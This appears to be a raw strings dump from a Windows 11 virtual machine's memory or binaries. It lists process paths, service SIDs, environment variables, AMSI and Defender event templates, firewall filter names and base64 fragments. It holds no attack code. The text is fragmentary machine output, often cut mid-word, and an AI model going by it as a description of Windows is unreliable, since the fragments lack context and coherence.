\;LanmanRedirector \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe MpWppCoreTracing-20260224-090600-00000003-100000000 Service VMTools NU Lesser General Public License. You should have received a copy of the GNU Lesser General Public License along with this library; if not, see . CompanyName Free Software Foundation FileDescr TIntel(R) 82574L Gigabit Network Connection \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe SHA256 \device\harddiskvolume3\windows\system32\svchost.exe TIntel(R) 82574L Gigabit Network Connection AES-GMAC AES-CMAC \device\harddiskvolume3\windows\system32\svchost.exe WFP-IPsec Diagnostics &WAN Miniport (IPv6) x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files 0Local Area Connection* 6 LMicrosoft Kernel Debug Network Adapter FMicrosoft IP-HTTPS Platform Adapter (@h@ (@h@ (@h@ (@h@ ( H ( H ( H ( H = 30s to complete. 4467 Bytes transfered by all operations that took < 128 s to complete. 4469 Bytes transfered by all operations that took < 25 AUTH 11983 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V6 11985 FWPM_LAYER_IPSEC_KM_DEMUX_V4 11987 FWPM_LAYER_IPSEC_KM_DEMUX_V6 11989 FWPM_LAYER_IPSEC_V4 11991 FWPM_LAYER_IPSEC_V6 11993 FWPM_LAYER_IKEEXT_V4 11995 FWPM_LAYER_I er t o complete. 5037 Number of transfers per second that took > 10s to complete. 5039 Average microseconds per transfer that took > 10s to complete. 5041 Number of transfers that took > 10s to complete. 5043 Number of transfers 6451 it on any datagram socket 6493 Rejected Connections/sec due to backlog limit on any TCP listening socket 6495 Rejected Connections due to backlog limit on any TCP listening socket 11301 BitLocker Drive Encryption performance e mi 4833 Number of successful reads per second that are <= 64K in length. 4835 Number of successful reads per second that are <= 128K in length. 4837 Number of successful reads per second that are <= 256K in length. 4839 1150 sion 6. 11535 Active Main Mode SAs is the number of currently active main mode security associations. 11537 Pending Main Mode Negotiations is the number of pending main mode negotiations. 11539 Main Mode Negotiations is the via BypassCSV/sec 4604 Read ed ByPassCSV/sec 4606 Write Bytes transmitted By \device\harddiskvolume3\windows\system32\runtimebroker.exe 256ms to complete. 4897 Number S-1-5-80-1345931346-2714066941-3624776837-1617505694-3927660246,S-1-5-80-3213379692-3546485254-1309469428-3810262102-2442199571,S-1-5-80-2962817144-200689703-2266453665-3849882635-1986547430,S-1-5-80-864916184-135290571-3087830041-1716922880-4237303741,S-1-5-80-3841379657-834162867-3056945855-2577476187-70241904,S-1-5-80-286057374-2594772386-1471686342-3682429118-820474675,S-1-5-80-698886940-375981264-2691324669-2937073286-3841916615,S-1-5-80-62724632-2456781206-3863850748-1496050881-1042387526,S-1-5-80-879696042-2351668846-370232824-2524288904-4023536711,S-1-5-80-917953661-2020045820-2727011118-2260243830-4032185929,S-1-5-80-3719317199-3405270365-2794832041-2304024896-2914089004,S-1-5-80-1693791390-661026542-4284378996-1616250691-2477593537,S-1-5-80-154974075-1852685594-3179713959-2755908004-3936262621,S-1-5-80-3290392786-819420393-1694314755-3737624005-3552167228,S-1-5-80-2949785411-1458004381-4011503523-1439849274-3428788682,S-1-5-80-1802467488-1541022566-2033325545-854566965-652742428,S-1-5-80-4125092361-1567024937-842823819-2091237918-836075745,S-1-5-80-1399994486-219206332-302438500-304602034-1537790326,S-1-5-80-4022436659-1090538466-1613889075-870485073-3428993833,S-1-5-80-2009329905-444645132-2728249442-922493431-93864177,S-1-5-80-1690854464-3758363787-3981977099-3843555589-1401248062,S-1-5-80-1189432293-2777010110-2640223427-1344437502-1956879817,S-1-5-80-4077216321-3151206942-641340059-4241647091-1300899357,S-1-5-80-1139522462-2689595747-457373284-4037083511-4201549542,S-1-5-80-2008603874-3981339663-2468433650-2111681540-3858834245,S-1-5-80-223807737-1693445485-119162242-1977420160-1403034029,S-1-5-80-3594706986-2537596223-181334840-1741483385-1351671666,S-1-5-80-3750560858-172214265-3889451188-1914796615-4100997547,S-1-5-80-2429767553-128593128-2427591838-1778256749-2155598187,S-1-5-80-2952724807-2252311773-3412998076-2712868122-780978283,S-1-5-80-3577588319-513283748-931039988-2701962192-2148388740,S-1-5-80-1938892561-4120931771-3580170924-3403102300-2651602529,S-1-5-80-1014140700-3308905587-3330345912-272242898-93311788,S-1-5-80-2649222292-2060825207-2866066902-505902355-282187514,S-1-5-80-3605394182-687838168-1441221562-1662690741-4241567093,S-1-5-80-1352715831-1104254428-97934242-2131353953-1898040052 &WAN Miniport (IPv6) 0.'''+0.,*-,-)0, MSDTC_TRACE_SESSION iphlpsvc iphlpsvc ket dule 0Local Area Connection* 7 a Co tion 6to4 Adapter ocal a Co onne -000 (R) 4L G LMicrosoft Kernel Debug Network Adapter atform Adapter AN M ort nano nds) ent essi ding erru deb egis rvis hile The of y gu code I re er w $msxml6.dll PPURQRRUUSSSSURT dule LanmanServer ered ntel Sch main Desktop Taskbar Explorer.EXE main icrosoft IP-HTTPS Platform Adapter AmPlatform StartStop StartSuccessRate ServiceStartedSuccessfully VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName NCObjAPI LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename NCObjAPI.DLL ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Anti-Malware Scan Interface FileVersion 10.0.26100.7309 (WinBuild.160101.0800) InternalName amsi.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename amsi.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7309 VarFileInfo Translation Information Microsoft-Antimalware-Scan-Interface Microsoft-Antimalware-UacScan AmsiScanBuffer UacScan AMSI/Debug EventData Data Name session Data Name scanStatus Data Name scanResult Data Name appname Data Name contentname Data Name contentsize Data Name originalsize Data Name content Data Name hash Data Name contentFiltered session scanStatus scanResult appname contentname contentsize originalsize content hash contentFiltered EventData Data Name session Data Name scanStatus Data Name scanResult Data Name appname Data Name contentname Data Name contentsize Data Name originalsize Data Name content Data Name hash Data Name contentFiltered Data Name hashoriginalcontent session scanStatus scanResult appname contentname contentsize originalsize content hash contentFiltered hashoriginalcontent Microsoft-Antimalware-Scan-Interface win:Informational Event1 Uac/Debug EventData Data Name requestorProcessId Data Name uacRequestType Data Name uacTrustState Data Name autoElevateRequest Data Name exeApplicationName Data Name exeCommandLine Data Name exeDllParam Data Name comServerBinary Data Name comRequestor Data Name comClsid requestorProcessId uacRequestType uacTrustState autoElevateRequest exeApplicationName exeCommandLine exeDllParam comServerBinary comRequestor comClsid Microsoft-Antimalware-UacScan win:Informational UacScan s;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\U \device\harddiskvolume3\windows\system32\svchost.exe d\Device\HarddiskVolume3\Windows\System32\msdtc.exe \device\harddiskvolume3\windows\system32\svchost.exe LMicrosoft Kernel Debug Network Adapter =C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\s \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe TLS_RSA_WITH_AES_256_GCM_SHA384 Microsoft SSL Protocol Provider ncryptsslp.dll \Program Files ScreenOnPowerStudyTraceSession TLS_DHE_RSA_WITH_AES_128_CBC_SHA Microsoft SSL Protocol Provider \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe Shellcommon UDK Dll Shared CoreMessaging Thread .\Device\HarddiskVolume3 .\Device\HarddiskVolume3 TLS_DHE_RSA_WITH_AES_128_CBC_SHA Microsoft SSL Protocol Provider Area Connection* 6 ll\v1.0 :\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\WINDOWS\TEMP TMP=C:\WINDOWS\TEMP USERDOMAIN=WORKGROUP USERNAME=WINDOWS11$ USERPROFILE=C:\WINDOWS\system32\config\systemprofile windir=C:\WINDOWS &WAN Miniport (SSTP) TLS_PSK_WITH_NULL_SHA256 _WITH_NULL_SHA256 ntManager select * from Property where Property = 'ProductName' OR Property = 'ProductCode' OR Property = 'ProductVersion' ProductName ProductCode ProductVersion APPID://PATH APPID://SHA256FLATHASH "Microsoft Window stem.Continuum VMware Tools\poweron-vm-default.bat TLS_PSK_WITH_NULL_SHA256 (8`8 _WITH_NULL_SHA256 (8`8 TLS_PSK_WITH_NULL_SHA256 ( H _WITH_NULL_SHA256 (8`8 (8`8 TLS_PSK_WITH_NULL_SHA256 (8`8 _WITH_NULL_SHA256 (8`8 ( H TLS_PSK_WITH_NULL_SHA256 ( H _WITH_NULL_SHA256 ( H s(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\U emDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\WINDOWS\TEMP TMP=C:\WINDOWS\TEMP USERDOMAIN=WORKGROUP USERNAME=WINDOWS11$ USERPROFILE=C:\WINDOWS\system32\config\systemprofile windir=C:\WINDOWS %1 has encountered an error trying to remove history of malware and other potentially unwanted software.%n %tTime:%b%3%n %tUser: TLS_PSK_WITH_NULL_SHA256 ( H ( H _WITH_NULL_SHA256 (8`8 (8`8 (8`8 _WITH_NULL_SHA256 (8`8 (8`8 0Local Area Connection* 6 LMicrosoft Kernel Debug Network Adapter FMicrosoft IP-HTTPS Platform Adapter 0Local Area Connection* 1 0Local Area Connection soft Kernel Debug Network Adapter WNS Data Connection %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] ntdll.dll kernelbase.dll Local\SM0:%lu:%lu:%hs InterfaceLuid L2ProfileId ConnectedTime ConnectStartTime L2ProfileFlags VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Network Connectivity Statistics Provider for System Resource Usage Monitor Service FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName ncuprov.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename ncuprov.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation ket dule 0Local Area Connection* 7 a Co tion 6to4 Adapter ocal a Co etwo onne -000 (R) 4L G LMicrosoft Kernel Debug Network Adapter atform Adapter AN M ort 0Local Area Connection* 6 LMicrosoft Kernel Debug Network Adapter FMicrosoft IP-HTTPS Platform Adapter at resource.%n %tCurrent Pla %2%n %tThreat resource path:%b%4%n %tHashes:%b%5 iled%0" /> @@@@@@@ Prot indi \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\CrossDeviceResume.exe System System System System System System System c:\windows\system32\sysmain.dll &WAN Miniport (IPv6) C:\WINDOWS\System32\wpncore.dll c:\windows\system32\diagtrack.dll LMicrosoft Kernel Debug Network Adapter FMicrosoft IP-HTTPS Platform Adapter \device\harddiskvolume3\windows\system32\backgroundtaskhost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\programdata\microsoft\windows defender\platform\4.18.26010.5-0\msmpeng.exe \device\harddiskvolume3\programdata\microsoft\windows defender\platform\4.18.26010.5-0\msmpeng.exe rm Adapter \device\harddiskvolume3\windows\system32\searchprotocolhost.exe MPSSVC Stores filter origin SearchProtocolHost-1 46000npsvctrig 0Local Area Connection* 6 LMicrosoft Kernel Debug Network Adapter FMicrosoft IP-HTTPS Platform Adapter \device\harddiskvolume3\windows\system32\searchfilterhost.exe MPSSVC Stores filter origin SearchFilterHost-2 &WAN Miniport (SSTP) &WAN Miniport (IPv6) ort (SSTP) MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy 200 - RulesEngine.BackgroundTask.UpdateTimer \device\harddiskvolume3\windows\system32\searchfilterhost.exe MPSSVC Stores filter origin SearchFilterHost-1 \device\harddiskvolume3\windows\system32\ctfmon.exe )*************** ){for(var 0;n=0;i--)try{r=t[i];r.contentWindow?n(r,i):t.splice(i,1)}catch(u){t.spl [];n.count=u;n.getIFrameFromWindow=f;n.isXYFocusEnabled=e;n.registerIFrame=o;n.unregisterIFrame=s}(g||(g={}));r.document&&(i.keyCodeMap.left.push(s.GamepadLeftThumbstickLeft,s.GamepadD \device\harddiskvolume3\windows\system32\wbem\wmiprvse.exe \device\harddiskvolume3\windows\system32\searchfilterhost.exe MPSSVC Stores filter origin SearchFilterHost-2 \device\harddiskvolume3\windows\system32\searchfilterhost.exe MPSSVC Stores filter origin SearchFilterHost-1 \device\harddiskvolume3\program files (x86)\microsoft\edgewebview\application\145.0.3800.70\msedgewebview2.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\shellhost.exe \device\harddiskvolume3\windows\system32\aggregatorhost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\explorer.exe ice\harddiskvolume3\windows\system32\ipconfig.exe \device\harddiskvolume3\windows\system32\searchindexer.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\vssvc.exe WEVT_TEMPLAT @FirewallAPI.dll,-23525 @FirewallAPI.dll,-23526 WIN://SYSAPPID Microsoft.WindowsStore_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WindowsStore_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.XboxGamingOverlay_8wekyb3d8bbwe ice\harddiskvolume3\windows\system32\svchost.exe WIN://SYSAPPID Microsoft.WindowsStore_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WindowsStore_8wekyb3d8bbwe ice\harddiskvolume3\windows\system32\svchost.exe MPSSVC Stores filter origin AppContainer Loopback MPSSVC Stores filter origin AppContainer Loopback MPSSVC Stores filter origin AppContainer Loopback MPSSVC Stores filter origin AppContainer Loopback !$$#"#$$$$"#" $!!"#"" !$"$#"$# SYSTEM\CurrentControlSet\Control\WMI\Sec YXllcj4NCjxzZWN1cml0eUxl bi9wYXls DOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public Syst LWE5YmEzOWI1OWQ4Yl8yMTQ3NDgzNjQ3XzNfMTI3MDVfNjdfMF8wIiBOYW1lPSJiYTQwZjg5Mi04YjkyLTQ3YmYtYjAzYi1hOWJhMzliNTlkOGIiIE5vblBhZ2VkTWVtb3J5PSJ0cnVlIiBMZXZlbD0iMyIgRXZlbnRLZXk9InRydWUiIEV4Y2x1 RkZGRkZGRiIgLz48L0tleXdvcmRzPjwvRXZlbnRQcm92aWRlcj48RXZlbnRQcm92aWRlciBJ70-6cb7-55c7-6640-d15b631ff13e PROVIDERDEFINITION.MICROSOFT.WINDOWS.BOOTFILESERVICINGc77b0b58-fac1-5614-4523-86a46166ab49 PROVIDERDEFINITION.M ON.MICROSOFT.WINDOWS.CLUSTERING.CLUSTERRESOURCE 9f7fe238-9505-4b84-8b33-268c9204268e PROVIDERDEFINI \device\harddiskvolume3\windows\systemapps\microsoftwindows.client.oobe_cw5n1h2txyewy\oobehostapp.exe \device\harddiskvolume3\windows\systemapps\microsoftwindows.client.oobe_cw5n1h2txyewy\oobehostapp.exe \device\harddiskvolume3\windows\systemapps\microsoftwindows.client.oobe_cw5n1h2txyewy\oobehostapp.exe \device\harddiskvolume3\windows\systemapps\microsoftwindows.client.oobe_cw5n1h2txyewy\oobehostapp.exe \device\harddiskvolume3\windows\systemapps\microsoftwindows.client.oobe_cw5n1h2txyewy\oobehostapp.exe \device\harddiskvolume3\windows\systemapps\microsoftwindows.client.oobe_cw5n1h2txyewy\oobehostapp.exe es(x ort (SSTP) TSA://ProcUnique \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe 165776~2.DAT 1657768043896628995_data.dat ( H \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe (8`8 \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe ( H \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe 6203644761 \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\vds.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\vds.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\wbengine.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\wbengine.exe \device\harddiskvolume3\windows\system32\svchost.exe !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ win:UnicodeString win:UnicodeString ll,-33752| MPSSVC Stores filter origin Query User Default System MPSSVC Stores filter origin Query User Default \device\harddiskvolume3\program files (x86)\microsoft\edge\application\msedge.exe MPSSVC Stores filter origin Query User Default MPSSVC Stores filter origin Query User Default System MPSSVC Stores filter origin Query User Default MPSSVC Stores filter origin Query User Default System MPSSVC Stores filter origin Query User Default MPSSVC Stores filter origin Query User Default System \device\harddiskvolume3\program files (x86)\microsoft\edge\application\msedge.exe MPSSVC Stores filter origin Stealth MPSSVC Stores filter origin Stealth MPSSVC Stores filter origin Stealth MPSSVC Stores filter origin Stealth MPSSVC Stores filter origin Stealth \device\harddiskvolume3\program files (x86)\microsoft\edge\application\msedge.exe MPSSVC Stores filter origin Stealth \device\harddiskvolume3\program files (x86)\microsoft\edge\application\msedge.exe S-1-5-80-1264790548-4164306546-4160824920-750804445-3452039388,S-1-5-80-2586557155-168560303-1373426920-983201488-1499765686,S-1-5-80-2195691530-3564058219-2185687823-1858318469-3207429352,S-1-5-80-3433512109-503559027-1389316256-1766580070-2256751264,S-1-5-80-4171086659-1617898341-2870161492-1466607281-2109097600,S-1-5-80-364023826-931424190-487969545-1024119571-74567675,S-1-5-80-3655275221-2954682349-3644260495-855223267-1438849333,S-1-5-80-2168654060-3115992504-1782388893-2584760693-2634250426,S-1-5-80-940647296-341435850-43817331-158078607-2483727905,S-1-5-80-905711443-3371636174-4061940598-1564861340-1059327237,S-1-5-80-2310782386-4237065203-3688974353-390202159-3511571085,S-1-5-80-2636612206-2079418197-1004231589-1812192203-4197254245,S-1-5-80-2822507136-3601578665-1013168651-121944544-1825232178,S-1-5-80-3435701886-799518250-3791383489-3228296122-2938884314,S-1-5-80-3641914668-2724251012-1186334157-2460844255-322272688,S-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420,S-1-5-80-324959683-3395802011-921526492-919036580-1730255754,S-1-5-80-3006764832-2469330069-4024865495-2754276538-3243839463 les\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerSh \Device\HarddiskVolume3\Windows\System32\userinit.exe :Software Loopback Interface 1 &WAN Miniport (IPv6) &WAN Miniport (IPv6) SION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\ C:\U WIN://SYSAPPID Microsoft.Win32WebViewHost_cw5n1h2txyewy ft.Win32WebViewHost_cw5n1h2txyewy \device\harddiskvolume3\windows\system32\svchost.exe LMicrosoft Kernel Debug Network Adapter IP-HTTPS Platform Adapter 409800bindflt Instance \Windows\SysWOW64\wbem\WmiPrvSE.exe k Adapter eVPNwLzc2X2qrSpGPG+kJR/j6lZDJVjehtwsM8cy2d/Yda14e202oyJdQG5+a/64f9Su3ULSkQI=&p= wns.windows.com MBI_SSL odeString Status Descripti odeString \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe win:UnicodeString isco -15-3-3|C=S-1-15-3-5|C=S-1-15-3-6|C=S-1-15-3-10|C=S-1-15-3-31325 alik \Device\HarddiskVolume3\Windows\System32\AggregatorHost.exe pqrstuvw urn:schemas-microsoft-com:asm.v3 ?)(?)(?)(?)(?)(?)])(1 )( 0-8ac2-6a6005e0ad6d, 1, Unused2 Unused3 Threat Name win:UnicodeString urn:schemas-microsoft-com:asm.v3 Microsoft-Windows-Fa s-WinNat-Licensing-EnableDNS64 Microsoft-Windows-WinNat-Licensing-E 6b7d7} System System System System rnelbase.dll .log t\Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exeMicrosoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe runtimebroker07f4358a809ac99a64a67c1 \device\harddiskvolume3\windows\system32\svchost.exe 4-3403102300-2651602529,S-1-5-80-1014140700-3308 TSA://ProcUnique 8040052 NCSI ActiveInternetProbe.Http R_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Pro \%ws ProfilesDirectory Default Public Software\Microsoft\Windows NT\CurrentVersion\ProfileList\%s ProfileImagePath AppData Local AppData D:PAI(A;OICI;KA;;;%s ware\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders %USERPROFILE%\AppData\Local\Temp %USERPROFILE%\AppData\Local\Microsoft\WindowsApps; runtimebroker07f4358a809ac99a64a67c1 WIN://PKG ntdll.dl SubC &WAN Miniport (SSTP) RSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription AppModel API Host FileVersion 10.0.26100.7705 (WinBuil nter d=qps-ploc,qps-plocm}","ui/a "{Lo s-plocm}","ui/appBarIcons/phonebook":" ","_ui/appBarIcons/phonebook.comment":"{Locked=qps-ploc,qps-plocm}","ui/appBarIcons/memo":" ","_ui/appBarIcons/memo.comment":"{Locked=qps-ploc,qps-plocm}","ui/appBarIcons/microp B+ncalrpc:[OLEC1C73748FB19D064763CE8BB9FB1] NT AUTHORITY\SYSTEM (WAN Miniport 127.0.0.1 192.168.27.140 fe80::538c:487e:a878:6055 rShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp EndRundownTask f:108090 t_Monitor\1&8713bca&0&UID0 sourcePath sourcePath HD Audio line out \device\harddiskvolume3\windows\system32\svchost.exe eStaging eStaging eStaging eStaging eStaging eStaging eStaging les=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\U \device\harddiskvolume3\windows\system32\svchost.exe rogram Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\U ive= NCSI ProxyRedetection ndowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE; systemprofile windir=C:\ -283421221-3183566570-1718213290-751554359-3541592344-2312209569-3374928651 S-1-5-80-1264790548-4164306546-4160824920-750804445-3452039388,S-1-5-80-2586557155-168560303-1373426920-983201488-1499765686,S-1-5-80-2195691530-3564058219-2185687823-1858318469-3207429352,S-1-5-80-3433512109-503559027-1389316256-1766580070-2256751264,S-1-5-80-4171086659-1617898341-2870161492-1466607281-2109097600,S-1-5-80-364023826-931424190-487969545-1024119571-74567675,S-1-5-80-3655275221-2954682349-3644260495-855223267-1438849333,S-1-5-80-2168654060-3115992504-1782388893-2584760693-2634250426,S-1-5-80-940647296-341435850-43817331-158078607-2483727905,S-1-5-80-905711443-3371636174-4061940598-1564861340-1059327237,S-1-5-80-2310782386-4237065203-3688974353-390202159-3511571085,S-1-5-80-2636612206-2079418197-1004231589-1812192203-4197254245,S-1-5-80-2822507136-3601578665-1013168651-121944544-1825232178,S-1-5-80-3435701886-799518250-3791383489-3228296122-2938884314,S-1-5-80-3641914668-2724251012-1186334157-2460844255-322272688,S-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420,S-1-5-80-324959683-3395802011-921526492-919036580-1730255754,S-1-5-80-3006764832-2469330069-4024865495-2754276538-3243839463 SWD\PRINTENUM\{B088679C-B055-48CC-AE74-33E3ECD77249} 0103.12232123212tter CI Query Server Thread Main Service Thread Gathering Service Timer Gatherer Status Thread USN Monitor Thread SWD\PRINTENUM\PrintQueues rule for ESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=b 6to4 Adapter LMicrosoft Kernel Debug Network Adapter icrosoft IP-HTTPS Platform Adapter System 33FB9DA4FB 967598C24A 26EDFB176E 316B0A48F7 860B0EA4CB FC79 69FF E528 5DF3 2FA2756D2D 1899A8868E 8BC6905037 A5B5C166AF \device\harddiskvolume3\program files\windowsapps\msteams_26015.1706.4351.4392_x64__8wekyb3d8bbwe\ms-teams.exe MPSSVC Stores filter origin Query User Default MPSSVC Stores filter origin Stealth MPSSVC Stores filter origin Stealth MPSSVC Stores filter origin Query User Default MPSSVC Stores filter origin Stealth \device\harddiskvolume3\program files\windowsapps\msteams_26015.1706.4351.4392_x64__8wekyb3d8bbwe\ms-teams.exe MPSSVC Stores filter origin Stealth MPSSVC Stores filter origin Query User Default \device\harddiskvolume3\windows\systemapps\microsoftwindows.client.oobe_cw5n1h2txyewy\oobehostapp.exe MPSSVC Stores filter origin Query User Default \device\harddiskvolume3\windows\systemapps\microsoftwindows.client.oobe_cw5n1h2txyewy\oobehostapp.exe Net e-bf S-1-5-80-1264790548-4164306546-4160824920-750804445-3452039388,S-1-5-80-2586557155-168560303-1373426920-983201488-1499765686,S-1-5-80-2195691530-3564058219-2185687823-1858318469-3207429352,S-1-5-80-3433512109-503559027-1389316256-1766580070-2256751264,S-1-5-80-4171086659-1617898341-2870161492-1466607281-2109097600,S-1-5-80-364023826-931424190-487969545-1024119571-74567675,S-1-5-80-3655275221-2954682349-3644260495-855223267-1438849333,S-1-5-80-2168654060-3115992504-1782388893-2584760693-2634250426,S-1-5-80-940647296-341435850-43817331-158078607-2483727905,S-1-5-80-905711443-3371636174-4061940598-1564861340-1059327237,S-1-5-80-2310782386-4237065203-3688974353-390202159-3511571085,S-1-5-80-2636612206-2079418197-1004231589-1812192203-4197254245,S-1-5-80-2822507136-3601578665-1013168651-121944544-1825232178,S-1-5-80-3435701886-799518250-3791383489-3228296122-2938884314,S-1-5-80-3641914668-2724251012-1186334157-2460844255-322272688,S-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420,S-1-5-80-324959683-3395802011-921526492-919036580-1730255754,S-1-5-80-3006764832-2469330069-4024865495-2754276538-3243839463 \device\harddiskvolume3\windows\system32\svchost.exe W6432=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFil iles \device\harddiskvolume3\windows\system32\svchost.exe \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe \device\harddiskvolume3\windows\system32\svchost.exe 